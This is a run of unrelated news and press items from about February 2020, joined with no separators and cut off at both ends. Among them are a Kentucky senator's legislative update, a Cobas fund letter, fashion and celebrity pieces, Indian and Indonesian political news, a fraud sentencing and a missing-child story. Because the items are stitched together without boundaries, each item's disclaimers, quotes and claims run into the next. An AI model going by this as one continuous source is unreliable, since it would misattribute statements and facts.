SB 4 was filed last year prior to the 2019 Governor's election. Any concerns about the bill and proposed changes can and should be discussed in the House. We are all very blessed to be in such a position that we can debate and develop good policy on behalf of the people of Kentucky. It's a responsibility that I do not take for granted and I know the same is true for my fellow lawmakers. Passing in the Senate with bipartisan support was SB 50. This is a technical measure regarding pharmacy benefits and seeks to remedy unfair practices by Pharmacy Benefit Managers (PBMs) within the Medicaid program. SB 50 tackles many issues including preferred drug lists, reimbursement methodology, and dispensing fees within Medicaid managed care. SB 50 would provide transparency by requiring the contracted PBM to disclose any potential conflict-of-interest with the state Medicaid department, managed care organizations, pharmacies and other groups involved in the pharmaceutical industry. Also, the PBM would have to disclose any fees it imposes on pharmacies. As a member of the Medicaid Oversight Committee I've been involved in tracking this issue for several years and I'm proud to be a co-sponsor of this legislation. This bill is a strong step towards forcing accountability and transparency from our MCOs/PBMs. The amended version of SB 50 would protect a nearly 30-year-old federal arrangement, titled the 340B Drug Pricing Program, which requires pharmaceutical manufacturers to provide drugs to some health care organizations, such as Kentucky's rural hospitals, at significantly reduced prices. Other bills moving to the House for consideration are: SB 91 protects patients and healthcare providers from harmful surgical smoke by requiring licensed health facilities that use energy generating devices (tools using heat, laser, or electricity) to use a smoke evacuation system during any surgical procedure that produces surgical smoke. SB 103 would exempt some agricultural buildings on farms of five acres or more from certain sewage disposal and plumbing requirements. This would not include residential buildings or structures within a city's limits. Currently, the farm has to be at least 10 acres or more to qualify for the exemption. SB 111 would require, upon the family's approval, the American flag to be draped over the casket of a police officer, firefighter, emergency medical services provider or coroner killed in the line of duty. SB 111 would apply when the first-responder's body is returned from the medical examiner's office. The bill also states a coroner should professionally transport the remains according to the family's wishes. I co-sponsored this measure, which will ensure our fallen heroes are given the respect they deserve. SB 134 would establish the Optometry Scholarship Program to provide students the opportunity to attend an optometry school and become a certified practitioner in Kentucky. A minimum of one-third of the amount spent on scholarships would be awarded to students attending the Kentucky College of Optometry at the University of Pikeville. The remaining amount could be spent on scholarships to out-of-state institutions. SB 134 would also create a trust fund for the program. Thank you for your calls, emails, and visits to the Capitol. I was honored to welcome many constituents from the district this week! With more than 30 days of the legislative session behind us, our main focus will continue to be the state budget and road plan as we lay out the Commonwealth's financial path for the next two years. I'm serving on the Senate's budget team this session and we are already in the process of building a fiscally responsible and responsive budget for the Commonwealth! If you have any questions or comments about these issues or any other public policy issue, please call me toll-free at 1-800-372-7181 or email me at danny.carroll@lrc.ky.gov. I am grateful for the opportunity to serve you in the Kentucky State Senate and value your feedback throughout the 2020 legislative session. Senator Danny Carroll (R-Paducah) represents the 2nd District encompassing Ballard, Carlisle, Marshall and McCracken counties. Senator Carroll is the chairman of the Senate Economic Development, Tourism, and Labor Committee, as well as the co-chairman of the Program Review and Investigations Committee. He also serves as a member of the Health and Welfare Committee, the Judiciary Committee and the Medicaid Oversight Committee. Views, opinions, positions or strategies expressed by the authors and those providing comments are theirs alone, and do not necessarily reflect the views, opinions, positions or strategies of West Kentucky Star.com, Bristol Broadcasting or any employee thereof. Bristol Broadcasting makes no representations as to accuracy, completeness, correctness, suitability, or validity of any information on this site and will not be liable for any errors, omissions, or delays in this information or any losses, injuries, or damages arising from its display or use. In 2019, we welcomed 2,528 new unitholders and ended the year with over 2 billion euros under management. 2020 sees the three-year anniversary of the launch of our management company. The 4th Annual Investors' Conference recently took place in Madrid and Barcelona. Thank you for your trust. That is the first message we want to convey to all our investors on behalf of the Cobas Asset Management team. The second, but no less important message, is the strong belief we hold in our investment decisions, based on the in-depth expertise we have gained in our portfolios over the last 3 years of investing in essentially the same companies. This belief and expertise make us very optimistic about the future. The goal of this piece is to convey, to the more than 1,300 investors who attended, the 6,000 who followed us online and in general to all Cobas investors, the news and key points that were discussed in both conferences. Over the course of 2019, we have welcomed 2,528 new unitholders, who are now part of the more than 28,545 investors who have invested their money and their trust in Cobas Asset Management. We ended the year with over 2 billion euros under management, with noteworthy net entries in the year of more than 15 million euros, across our entire range of products. As can be seen in the following table, last year in 2019 our international portfolio posted returns of 13.4% and the Iberian portfolio 6.6%. From the start to the close of 2019, our investment funds and pension plans accumulated negative returns. One development in terms of new products offered by our management company was the launch of two EPSVs): Surnepension Cobas 100 and Surnepension Cobas 50-50. These investment vehicles are private non-profit entities that target to provide complementary social insurance as a supplement to mandatory Social Security within the scope of the Basque Country. Story continues Two new funds were also launched in the last quarter of 2019 under the umbrella of Cobas Lux SICAV. These are Cobas Iberian Fund and Cobas Large Cap Fund, which replicate the investment strategy of their Spanish counterpart funds. Delving further into the issues that were discussed at the annual conference in relation to investment portfolios, we should highlight the following details: Our international portfolio has a PER of 6.6 and an upside potential of 126%, while the Iberian portfolio has a PER of 8.4 and an upside potential of 84%. Our international portfolio mainly consists of the following blocks: It should be mentioned that the portfolio continues to be highly stable, thanks to the depth of conviction and breadth of expertise we have in the companies. These are also businesses that mostly generate positive cash flows and more than 50% of the companies pursue a defensive strategy. With regard to the Iberian portfolio, the main investment blocks are: We remain convinced of the main positions we have been investing in over these three years, and it is worth highlighting that 88% of the Spanish and Portuguese companies we invest in have a controlling shareholder. Perhaps the most interesting point, and the one that drew most interest from our investors, was the explanation the team offered on how the target price is reached. Or in other words, how the gap is closed between our valuation of a company and its quoted market price. To do this, it is important to reinforce the following basic concepts: The passage of time entails the generation of profit by the companies, and if the price does not take that into account, value is accumulated t increasing the potential for revaluation on a daily basis. The larger the unrecognised value and the longer it remains unrecognised, the greater the eventual revaluation will be. The greater the potential of a share (estimated value vs. price of a share) the more likely it is that someone will recognize its value. On that basis, how is the value reached?: Over the long term, the market is efficient it always realizes the intrinsic value of an asset. Buyback of shares by companies/owners: Teekay, CIR, GIII, Hoegh, WilhelmsenH. Hyundai Motor, Samsung, Euronav, DHT, OVS, Subsea7, IPCO, Prosegur, Semapa, Repsol, Vocento, Melia. Changes in/simplification of corporate structure (Spin-offs), mergers, help in the recognition of the real value of the assets: Teekay, Golar, CIR, Porsche. Takeover bids: Parques Reunidos, Greene King, Nevsun. The price of the takeover bids is close to our target prices. Finally, I want to share with you the main conclusions of the conference: We continue to have a high potential for revaluation that will increase over time if not reflected in the price. We have increased the security and certainty of that potential. Our portfolios are uncorrelated with expensive indices. The owners of the companies are highly sensitive to the under-valuation of their companies. To conclude, all of the above can be summed up by the following statement: Price and value will converge, they always converge. A family holding company Elsewhere, and in the interests of greater transparency and promoting all projects, at the Annual Conference we also presented Santa Comba Gestion SL, the parent company of Cobas AM, a project aggregator that promotes personal freedom through knowledge. It is a family holding company with a commitment to society, that supports financial, entrepreneurial and philanthropic projects with a common and cross-cutting ethos: The philosophy of investing in value. Santa Comba structures, coordinates and unifies these initiatives, multiplying the value of each one of them. It should be noted that 15% of Cobas AM and Cobas Pensiones's revenue goes to impact investment (GSI), education (Value School) and 'venture philanthropy' (Open Value Foundation). Other interesting developments were discussed at the conference. The two certifications, B Corp and ISO 27001, which were recently obtained by Cobas Asset Management. Cobas AM has been the first fund manager to obtain the B Corp certification, granted by the B Lab Spain Foundation to companies that meet the highest standards of social and environmental performance, transparency and corporate responsibility. The ISO 27001 certification, on the other hand, guarantees that an information security management system has been implemented that protects the confidentiality, integrity and availability of the critical information of our unitholders and the business. In short, obtaining both certifications is a testament to our ongoing efforts to transform in order to operate under the principles of adequate corporate social responsibility and to optimize our internal processes and the protection of our investors' information. On a final note, I would like to sign off by encouraging you to watch the full conference on our YouTube channel via the following link: https://youtu.be/Zt_2tVD-9jc If you have any questions or concerns please do not hesitate to contact the Investor Relations team, we will be happy to assist you. This article first appeared on GuruFocus. She was last seen letting her hair down at a BRITs after-party with Burberry designer pal Riccardo Tisci, after walking the catwalk for London Fashion Week. But model Irina Shayk 's hair was most decidedly up as she channeled Marie Antoinette at Moschino's Milan Fashion Week show on Thursday. The Russian beauty, 34, looked regal in a black hoop skirt above a pair of thigh-high black platform boots with front lace fastenings. Regal: Irina Shayk , 34, channeled Marie Antoinette as she cascaded down the catwalk at Moschino's Milan Fashion Week show on Thursday Irina contrasted the extravagant skirt with a simple hoodie bearing the Moschino name across the chest in white lettering. The model's slender neck was laden with heavy chains and strings of pearls, while her ears bore a pair of pearl encrusted earrings in the shape of the letter 'M' and a peace sign. A signature hip belt made from pearl beads spelled out the Italian fashion house's name at the brunette's waist. Stunning: Russian beauty Irina looked regal in a black hoop skirt above a pair of thigh-high black platform boots with front lace fastenings Playful: Irina contrasted the extravagant skirt with a simple hoodie bearing the Moschino name accross the chest in white lettering The designers added a slight biker chick edge to the ensemble by putting a pair of fingerless leather gloves on the model's hands. Irina's elaborate hairdo was based upon doomed French Aristocrat Marie Antoinette's famous 'pouf.' The stunner wore her chestnut locks piled atop her head like an elaborate birdcage while other models from the show sported the pouf in different colours. Supermodel Irina looked positively feline with thick winged eyeliner and subtle pink gloss accentuating her sensuously full pout. Irina joined fellow modelling stars Gigi and Bella Hadid in showcasing the French aristrocrat themed collection. The Spring season designed by Moschino's Jeremy Scott featured elaborate hoop skirts, waist cinching bodices and busty bustiers teamed with lace up boots. Pearly queen: A signature hip belt made from pearl beads spelled out the Italian fashion house's name at the brunette's waist Royal pouf: The stunner wore her chestnut locks piled atop her head like an elaborate birdcage while other models from the show sported the pouf in different colours Bejewelled: The model's slender neck was laden with heavy chains and strings of pearls, while her ears bore a pair of pearl encrusted earrings in the shape of the letter 'M' and a peace sign Fierce: The designers added a slight biker chick edge to the ensemble by putting a pair of fingerless leather gloves on the model's hands The 18th century looks were updated by the designer, who added modern silhouettes including fitted trousers and streamlined vests. While Irina was head to toe black, other creations featured French country scenes in classic pastel prints. Scott closed the show with dresses made to look like layered cakes, a tongue-in-cheek reference to the 'Let them eat cake,' phrase often attributed to Marie Antoinette. Irina, who shares Lea with ex-husband Bradley Cooper, 45, recently said there have been some tough times as a single mother since she and the actor separated some eight months ago. 'It's hard to find a balance between being a single mom and being a working woman and provider,' she said in an interview with British Vogue. 'Trust me, there are days I wake up and I'm like, "Oh my god, I don't know what to do, I'm falling apart."' But the pair still appear to be on good terms, and were pictured together last week reuniting at a fashion event in London. Madhya Pradesh Chief Minister Kamal Nath on Friday continued to target the Modi government over the surgical strike and asked it to share with people the details of the operation, including the number of terrorists killed in it. He, however, also made it clear that he was not raising doubts over the surgical strike and said the country's defence forces do not indulge in any "fake" work. Nath was talking to reporters here. "The surgical strike happened only in media. Has anybody seen its picture? Has anyone got its details?" Nath asked. "I want to ask how many people were killed in it? How many buildings were demolished? How many terrorists were killed? Neither any figure, nor any photos nor any other things have come to light. All the noise was only in media," he said. When asked whether he meant to say that the surgical strike was fake, Nath said, "No, our Army and Air Force do not indulge in any fake work. We are proud of both the forces... But share information with the country." "We are not raising doubts over the surgical strike but just talking is not enough. Tell countrymen where it happened, how it was carried out and what was the result. The countrymen want to know," he added. "(Former Prime Minister) Indira Gandhi ji made 90,000 Pakistani troops surrender. This surrender was seen by the people of the entire country and the world," the former Union minister said. While addressing people at a village here on Thursday, Nath had asked Prime Minister Narendra Modi to tell people something about the surgical strike, and sought to know why he does not speak about issues related to unemployed youths and farmers. Nath had also dared Modi to name at least one freedom fighter from his party- BJP. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Harrison Ford plays a prospector with a soft spot for a dog in "The Call of the Wild." Read more Harrison Fords scene partner in The Call of the Wild, which opens Friday, is the figment of some animators imagination, a dog that isnt really there. Lately theres been a lot of that in Fords career. In Blade Runner 2049, his character hangs out in Vegas with credible facsimiles of Frank Sinatra and Elvis Presley. In Star Wars: The Rise of Skywalker, leftover footage of the late Carrie Fisher (as Leia) was digitally integrated into the movie, making an immortal character even more so. Ford has made more than 50 movies, been photographed from every angle, and so he exists as data that could be reconstituted and repurposed by animators (much as the very late James Dean will be in Finding Jack). How does the legendary actor feel about the fact that in the coming world of necro-cinema and reanimation, there may always be a Ford in our future? I do believe in intellectual property rights, and the right to a persona and an identity, said Ford, in a tone suggesting no animator should try it while hes alive. But I dont know the answers to all of the ethical questions were going to deal with in the future. My biggest problem with CGI isnt an ethical issue. Its that with a keystroke you can multiply a bad guy or a good guy until youve got an army of them that stretches to the horizon. Too many directors, he said, are overcrowding the screen with digital multitudes that overwhelm the eye and underwhelm the heart. You can employ gravity-defying kinetics and you can do all kinds of things that people obviously cant actually do, and if you dont maintain human scale, and you just get absorbed in the spectacle of it, you lose the potential of giving the viewer something to relate to. That happens occasionally, and its bad, Ford said. He and animator Chris Sanders (How to Train Your Dragon) tried to do just the opposite in The Call of the Wild, a mixture of live-action (Ford is definitely real) and animation deployed in an adaptation of Jack Londons classic story of man and dog bonding and surviving in the 19th century Yukon of the Gold Rush years. The animation is used to place Ford and his dog (actually a human acrobat with a digital motion-capture makeover) in a vast, unspoiled frontier, framed in a way that accentuates their isolation and amplifies their removal from civilization. Thats called art, Ford said. Thats called design, and thats storytelling. Theres a lot of CGI, but the job is real, and the job is still storytelling. The story that Ford wanted to tell here was a throwback to the kind of outdoorsy adventure that Hollywood used to routinely crank out for a younger audience, a genre that, he said, got steamrolled by the machinery of commerce. He and Sanders wanted to recapture the matinee magic of those movies, using CGI. I was amazed at the capacity that is available to generate something that has such an emotional impact you really feel the power of nature that comes across. The ruggedness of nature, you feel the environment as a character in the film, he said. All of the wilderness scenes are painted on by digital artists. Ford got no closer to the Yukon than Santa Clarita, 45 minutes from Los Angeles, but no matter, thanks to the Sanders team, the movie brings the natural world to life. I love working for that audience, because I know what it can mean to a kid to discover nature, the majesty of it, he said. The Call of the Wild plays to a slightly younger demographic than most of his movies, but hes unabashedly proud of making what he called family movies throughout his career. My career has really been built on family films. Its a fact that Star Wars and Indiana Jones have become staples of family life, passed down from generation to generation. And thats extended the life of my career, said Ford, whos now 77. Yep, 77. Its not like it hasnt been extended enough and I need to make another one, but I just love working for that audience. He also loved working in Philadelphia, back in 1984, when he came here to research his role in Witness as police detective John Book, who protects an Amish child (Lukas Haas) targeted by a corrupt cop (Danny Glover) whos killed another officer. Ford remembers convening in town with director Peter Weir, who went off to Lancaster County to work on the Amish aspects of the story, while Ford stayed in town and rode around with a homicide detective, compiling research for material that in many cases ended up in the movie. "It was an interesting experience. We drove past this place and I said, Whats that? and he said, Oh, thats a rough place, we dont want to go in there, and I said, Yes, I do, and he said, OK, well do it the way it would normally be done. You go in the front, and Ill go in the side door, Ford recalls. So Ford, in his Im A Detective sport jacket, pushes through the front door, and gets glared at by an extremely unfriendly crowd of folks who didnt recognize him as Indy, or Han, or Rick Deckard. I was not as recognizable in that context as you might want, he said. To boot, the side door turned out to be locked, and Ford saw the handle rattle uselessly as he contemplated the premature end of his career. He survived, of course, and the experience ended up in slightly different form as a scene in the movie (the Happy Valley bar). Ford went on to give a career-best performance the only time hes been nominated for an Oscar. So far. Hes working as hard as ever. Hes making another Indy, for Steven Spielberg, later this year, and he is super pumped. Absolutely. Its great, making those movies. A 28-year-old Lincoln man initially arrested for possessing a firearm as a felon now faces a new charge of pandering, and in court records police say he's a suspect in a Feb. 9 shooting. Joseph T. Mitchell hasn't yet been charged in the case of a 28-year-old man shot in his right leg during an attempted robbery outside a Lincoln hotel. But police now say that investigation led to the pandering charge, filed against Mitchell earlier this week, according to an affidavit for his arrest on the felony. In court records, Officer Benjamin Pflanz said the facts of that case showed there was "some kind of argument over prostitution," between Mitchell and the 28-year-old who was shot. He said police found messages on Mitchell's phone that appeared to be negotiations of pay for sex acts, as well as stored images that had been used in prostitution advertisements. Pflanz said they now believe Mitchell had taken at least two women to Mississippi, Missouri and Iowa "for the purposes of prostitution." He said on Feb. 14, in a call from the jail, Mitchell directed the women to engage in prostitution to raise his bond money. Tulips and multi-colour hybrid dahlias besides floral boards will adorn various prominent spots in Lutyens' Delhi to welcome United States President Donald Trump's and other dignitaries, an official said on Friday. IMAGE: A child makes a painting depicting US President Donald Trump and PM Narendra Modi, ahead of the former's maiden visit to India, in Mumbai, on Friday. Photograph: Mitesh Bhuvad/PTI Photo Various prominent spots, including roundabouts, will also be beautified with flowers, according to an official of the New Delhi Municipal Council. US President Donald Trump, accompanied by First Lady Melania Trump and a high-level delegation, will arrive in Ahmedabad around noon on February 24 for a little less than 36-hour-long trip. Trump's daughter Ivanka and son-in-law Jared Kushner, will also be part of the delegation. From Ahmedabad, Trump will travel to Agra before arriving at the national capital for the main leg of the visit. "On all important occasions, we put up floral motifs at various vantage points in the NDMC area. We will install floral boards welcoming the dignitaries at prominent spots on the route the dignitaries will travel," a senior NDMC official said. IMAGE: US President Donald Trump, accompanied by First Lady Melania Trump and a high-level delegation, will arrive in Ahmedabad around noon on February 24 for a little less than 36-hour-long trip. Photograph: Mitesh Bhuvad/PTI Photo "Besides seasonal plants that adorn various locations, we have arranged for over 15,000 pots of tulips and multi-colour hybrid dahlias, which will be placed at Hyderabad House, the venue for delegation-level talks between the US President and Prime Minister Narendra Modi," the official added. NDMC area is home prominent buildings, including the iconic Parliament building, Rashtrapati Bhawan and Diplomatic Enclave. "Various prominent spots in the NDMC area, including roundabouts will also be beautified with flowers. While our roads are among the cleanest ones in the city, we have also directed the sanitation department for intensive cleaning of roads using machines," the NDMC official said. IMAGE: A worker paints on a wall on the route in which US President Donald Trump is scheduled to travel in Agra, on Friday. Photograph: PTI Photo In Delhi, Trump and the First Lady will be accorded a ceremonial welcome at the forecourt of the Rashtrapati Bhavan on February 25. From there, they will go to Rajghat to pay homage at the 'samadhi' of Mahatma Gandhi. It will be followed by restricted and delegation-level talks between Trump and Modi at Hyderabad House. Prime Minister Modi will host a lunch for the US president following the talks. In the afternoon, Trump is expected to attend certain private events at the US Embassy, including a private roundtable with industry representatives. In the evening, the US president will meet President Ram Nath Kovind at the Rashtrapati Bhavan. A banquet will be hosted by Kovind and President Trump will depart from India later that evening. The executive added that the company would release people from existing nondisclosure agreements related to those matters on a case-by-case basis. The use of nondisclosure agreements for workers who make complaints of sexual harassment or discrimination has become a point of contention in the wake of the #MeToo movement, and The New Yorker has been at the forefront of the discussion. The magazine won a Pulitzer Prize in 2018 for Ronan Farrows investigation into allegations of sexual misconduct by the film producer Harvey Weinstein, which involved the use of nondisclosure agreements to silence his accusers. (The Times reporters Jodi Kantor and Megan Twohey were also awarded the Pulitzer that year for their investigation into Mr. Weinstein.) Mr. Weinstein is currently on trial, accused of rape, in Manhattan. During the Democratic presidential primary debate in Las Vegas on Wednesday, Senator Elizabeth Warren criticized Michael R. Bloomberg for the use of nondisclosure agreements at his company, Bloomberg L.P. He had refused to release some female former employees from agreements they signed after accusing him of harassment and discrimination. (Mr. Bloomberg announced on Friday that he would release three women from nondisclosure agreements if they contacted the company.) Conde Nasts decision to limit the use of nondisclosure agreements was reported earlier by The Daily Beast. The union that represents employees at The New Yorker and the Conde Nast publications Pitchfork and Ars Technica had proposed that the company drop nondisclosure agreements at the bargaining table for The New Yorker in November, said Susan DeCarava, the president of the union, the NewsGuild of New York. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, February 21, 2020 16:37 690 7f440ff09e92db75a02bbad2065d81b6 1 National omnibus-bill,omnibus-law,students,labor,BEM-UI,University-of-Indonesia,rally,protest Free The head of the University of Indonesias (UI) student executive body (BEM), Fajar Adi Nugroho, says the university's students are planning to stage a rally against a proposed bill on job creation. "There is a high chance that we will take to the street again. [Revoking the omnibus bill] will be among our demands [in the upcoming rally] that have not been fulfilled since #ReformasiDikorupsi, Fajar said at the Indonesian Forum for the Environment (Walhi) office in Jakarta on Thursday, as quoted by kompas.com. #ReformasiDikorupsi, which translates to reform corrupted, is the tagline for a series of rallies held across the country in late 2019. The students took to the street in late September and early October to protest against controversial revisions of the Criminal Code and the Corruption Eradication Commission Law, among other pieces of legislation. The partially violent protests lasted several days and were mostly attended by senior high school students and young adults. In a bid to attract investment, President Joko Jokowi Widodo initiated the omnibus bill to make it easier for businesses to operate in Indonesia, thereby boosting job opportunities and economic growth in Southeast Asias largest economy. However, labor groups say the bill would negatively affect their rights, remuneration and job security. Observers have criticized the draft for the stronger role it would give the central government, saying this posed a risk to the checks and balances within Indonesias democracy. Environmentalists have warned that less stringent Environment Impact Analysis and building permit requirements would result in unsustainable growth. Read also: Guide to omnibus bill on job creation: 1,028 pages in 10 minutes Fajar went on to say that students from other universities had not yet stated their plans to join the BEM UI in the upcoming rally, a date for which has yet to be set. However, discussions on the draft had erupted at universities across the nation, he added. "There are several universities in Greater Jakarta, such as Trisakti, that are now distributing questionnaires on [students] views on the omnibus bill," Fajar said, adding that students of Gadjah Mada Unisity (UGM) in Yogyakarta and Brawijaya University in Surabaya had also organized discussions on the proposed legislation. Fajar said students had to be aware of the long-term effects of the omnibus bill once it passed into law. Workers, meanwhile, have long started a major campaign against the bill, with rallies staged since January. "Our fellow laborers in Makassar and Lampung have started the movement, said Akbar Rewako of the Labor Movement Central National Union. We have no option but to fight a government policy that is not in favor of laborers," he added. (gis) [February 21, 2020] Envestnet to Attend Upcoming Conferences Envestnet, Inc. (NYSE:ENV), today announced that the Company will be attending the following investor conferences: On Monday, February 24, 2020, the Company will be presenting at the JMP Securities (News - Alert) Technology Conference in San Francisco, CA. The presentation will begin at 3:00PM PT. On Monday, March 2, 2020, the Company will be presenting at the Raymond James Institutional Investors Conference in Orlando, FL. The presentation will begin at 2:50PM ET. Investors and interested parties can access these presentations by visiting the Company's investor relations website at http://ir.envestnet.com/. At each conference mentioned above the Company will be hosting one-on-one and group meetings throughout the day. Analysts and portfolio managers that wish to attend the conference or would like to request a meeting should contact JMP Securities or Raymond James. About Envestnet Envestnet, Inc. (NYSE:ENV) is a leading provider of intelligent systems for wealth management and financial wellness. Envestnet's unified technology empowers enterprises and advisors to more fully understand their clients, and deliver actionable intelligence that drives better outcomes and improves lives. Envestnet Wealth Solutions enables enterprises and advisors to better manage client outcomes and strengthen their practices through its leading Wealth Management Operating System and advanced portfolio solutions. Envestnet | PMC provides the experience and solutions - from comprehensive manager research to portfolio consulting and portfolio management - to help improve client outcomes. Envestnet | Tamarac provides portfolio management, reporting, trading, rebalancing and client portal solutions for registered independent advisors (RIAs). Envestnet | MoneyGuide provides goals-based financial planning applications. Envestnet Data & Analytics enables innovation and insights through its Envestnet | Yodlee data aggregation platform. More than 100,000 advisors and more than 4,700 companies including: 16 of the 20 largest U.S. banks, 43 of the 50 largest wealth management and brokerage firms, over 500 of the largest RIAs and hundreds of internet services companies, leverage Envestnet technology and services. Envestnet solutions enhance knowledge of the client, accelerate client on-boarding, improve client digital experiences, and help drive better outcomes for enterprises, advisors and their clients. For more information on Envestnet, please visit www.envestnet.com and follow us on twitter @ENVintel. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005425/en/ [ Back To TMCnet.com's Homepage ] Employees' Provident Fund Organisation (EPFO) will shortly launch an e-inspection system across the country for monitoring of voluntary compliance of EPF scheme by employers, an official said on Friday. The is a firm believer of voluntary compliance and wants to understand the industry issues in case of default and non-compliance of the scheme, Central Provident Fund Commissioner Sunil Barthwal said. "The will start an e-inspection system to monitor voluntary compliance by the employers," Barthwal said at a CII event here. He said the is now working on a process whereby a person will be able to get his or her provident fund on the day of retirement and avail timely pension benefits. Barthwal said that linking the Universal Account Number (UAN) with Aadhaar is required for getting maximum benefits of the provident fund. Majority of Professionals Negotiate for Higher Salary If youve been hesitant to push for more money during a job interview, you may be in the minority. A new survey suggests that more than half of professionals have tried to get a potential employer to sweeten the deal. To gain some insight into the salary negotiation process, staffing firm Robert Half conducted two surveys one involving 2,800 employees who work in office environments, and another polling more than 2,800 senior managers at companies with a minimum of 20 employees. They found that factors such as gender, geography and previous salary could play a role as to whether employees are likely to negotiate for more money. Employees most likely to negotiate While 54% of respondents said they had asked for a higher salary than what they were initially offered during their most recent employment negotiations, men were more likely to do so than women. In fact, 66% of men tried to negotiate for more money, while only 46% of women applicants asked for a better offer. Where you live may also be a factor. Survey respondents came from 28 cities across the country. Miami had the most salary negotiators, followed by Los Angeles and Phoenix. On the other end of the spectrum, Pittsburgh, Sacramento and Minneapolis had the fewest professionals willing to negotiate for a higher salary during the employment process. The amount of money someone makes may also play a role in their willingness to ask for more pay. In fact, professionals who made more than $100,000 per year were the most likely to bargain for a better offer, with 64% of them saying they tried to negotiate for better pay. Why employees dont negotiate Among employees who did not go to the bargaining table with a potential employer, the reasons given varied: 55% said they were happy with the initial offer they received 18% said they wanted more money but were afraid they would lose the job offer if they asked for more money 18% said they wanted more money but they were uncomfortable with the negotiating process 9% said they wanted more money but they didnt know how much they could command for that position Story continues Robert Half also provided insight into when employees can expect the topic of money to come up. In the survey of senior managers, respondents were asked when they brought up the topic of pay with job candidates. 35% said during the first in-person interview 20% said during the second interview 15% said once the job offer is made 13% said during a phone or video interview 9% said during a third interview or later 9% said salaries are listed in the job description so they dont bring it up Negotiating a higher salary can not only get you more money today, but it can also set you on the path to earning more when you get your next promotion or to score a pay raise based on performance. Learn how to determine your financial worth at work before you go for that job interview. And if you are a woman, master negotiation techniques that could help you close the gender wage gap. BOSTON An employee and investor of a biotech company is the second person to be sentenced to serve time in prison in a scheme designed to manipulate the companys stock prices and defraud investors. M. Jay Herod, 52, of Cambridge, was sentenced on Thursday to serve six months in prison, three years of supervised release and 1,200 hours of community service. U.S. Senior District Court Judge Douglas P. Woodlock also ordered him to pay $120,000 in restitution and forfeiture, said Christina DiLorio-Sterling, spokeswoman for U.S. Attorney Andrew Lelling. Earlier this month Herod pleaded guilty to one count of securities fraud and one count of obstruction of an agency proceeding and agreed to cooperate with the government. He was arrested in the scheme involving PixarBio in April 2018, she said in writing. His co-defendant Frank Reynolds, the former chief executive officer of the Boston-based company, was convicted of charges by a federal jury in October 2019 and sentenced on Tuesday to seven years in prison and ordered to pay $7.5 million in restitution, DiLorio-Sterling said. The two and a third co-defendant Kenneth Stromsland were charged in the scheme which included misleading investors about drugs PixarBio created and manipulating stock to make it look like it was performing better than it was, she said. In his plea, Herod admitted that in December 2016 he engaged in manipulative trades in PixarBio stock that were intended to stimulate market demand for the stock and thereby artificially inflate its price and trading volume. He would also make small purchases shortly before the market closed to boost the closing price, she said. Herod also admitted that, between January 2017 and September 2017, he made materially false statements to the Securities and Exchange Commission, which was investigating the trading of PixarBio shares, and provided a back-dated document to obstruct the probe, DiLorio-Sterling said. China on Friday praised close-ally Pakistans enormous efforts in combating terror financing and played down reports that it backed India and other countries against Islamabad at the just- concluded FATF meeting in Paris that retained the country in the Grey List. Asked about reports that China has joined India and other countries in sending a strong message to Pakistan and urging it to fulfil its commitments to fight terror financing and money laundering, Foreign Ministry spokesman Geng Shuang told an online media briefing here that the Financial Action Task Force meeting has decided to give Pakistan more time to implement its action plan on money laundering and terrorist financing. Chinas position on the relevant issue remains unchanged. Pakistan has made enormous efforts in improving its counter-terror financing system, which has been recognised by the vast majority of the FATF members at its latest plenary meeting concluded on February 20 in Paris, he said. It was decided at the meeting that Pakistan will be allowed more time to continue implementing its action plan, Geng said, a day after Pakistan Prime Minister Imran Khan spoke to Chinese President Xi Jinping. During the telephonic conversation, the two leaders agreed to step up communication and exchanges at the highest level to strengthen Pakistan-China all-weather strategic cooperative partnership. China said it stands ready to work with relevant parties to offer more assistance to Pakistan in its efforts against terrorism. China maintains that the purpose and aim of the FATF is to support countries efforts to strengthen institutions against money laundering and terror financing and safeguard international financing system, the spokesman said. The Paris-based FATF, which supervises effective implementation of legal, regulatory and operational measures for combating money laundering, terrorist financing, during the meeting decided continuation of Pakistan in the Grey List. The FATF decided to maintain Pakistans status on its Grey List of countries with inadequate control over curbing money laundering and terrorism financing until June, when the next review will take place, Pakistani newspaper Dawn quoted a statement issued by the Finance Division as saying on Friday. The global terror financing watchdog also warned Pakistan that stern action will be taken against it if the country fails to check the flow of money to terror groups like the Lashkar-e-Taiba (LeT), Jaish-e-Mohammed (JeM) among others, according to sources. The FATF in October last year decided to keep Pakistan on its Grey List for failure to curb funnelling of funds to terror groups like LeT and JeM. If not removed off the list by April, Pakistan may move to a blacklist of countries that face severe economic sanctions, such as Iran. The plenary noted that Pakistan addressed only a few of the 27 tasks given to it in controlling funding to terror groups like LeT, JeM and the Hizbul Mujahideen, which are responsible for a series of attacks in India. The FATF said Pakistan has to swiftly complete its full action plan by June, the source said. India has been maintaining that Pakistan extends regular support to terror groups like LeT, JeM and the Hizbul Mujahideen, whose prime target is India, and has urged the FATF to take action against Islamabad. A South Brunswick boy was reunited with his family after going missing Wednesday night thanks to a resident who saw a police alert on his phone and left his couch to search for the child. Ethan Olivacce has autism and is non-verbal. The 10-year-old went missing when he tried to run after his dads car as he headed out to the store. Ethan couldnt catch up, and lost himself in the dark around 7:15 p.m. Wednesday night. His parents, Christopher and Nikia Olivacce, noticed Ethan was missing around 8:35 p.m., when Christopher called his wife to check-in on Ethan. "When Chris called me to ask what did Ethan want to eat, I was confused, like, isnt he with you? Nikia Olivacce said Thursday. "Chris said, no hes not with me, hes with you. They checked their Nest doorbell camera and saw Ethan running down the street, and immediately called 911. Local and state police, EMS and firefighters canvassed the neighborhood using information from Ethans parents and teachers on how best to talk to Ethan. First responders knew this was a special case, Nikia Olivacce said, adding that Ethan doesnt really like to go outside and doesnt know his way around the neighborhood. Its like, your worst nightmare when you realize something happened (to your child), she said. I really want to thank the police because not only were they good at calming me down, but they really had all hands on deck. Still, police didnt locate Ethan right away. They searched for over an hour to no avail when South Brunswick police sent out a town-wide text message alert through Nixle. 10-year-old Ethan was reported missing to the South Brunswick community in a Nixle alert. Thats when Fazil Syed got involved. Syed said he was at home watching the Democrats debate on TV when he got the alert about Ethan. Instead of doing the easy thing - and ignoring it - Syed grabbed his jacket and flashlight and headed out to see if he could help locate Ethan. Initially I went in one direction, but did not see anything so I decided to check towards the [town] library, Syed said. He spotted Ethan near a tree line shortly after switching directions. I called out, just, excuse me, and I didnt get any response back. I called out a little bit louder and then Ethan looked out and came over to me, Syed told NJ Advance Media. Ethan gave him 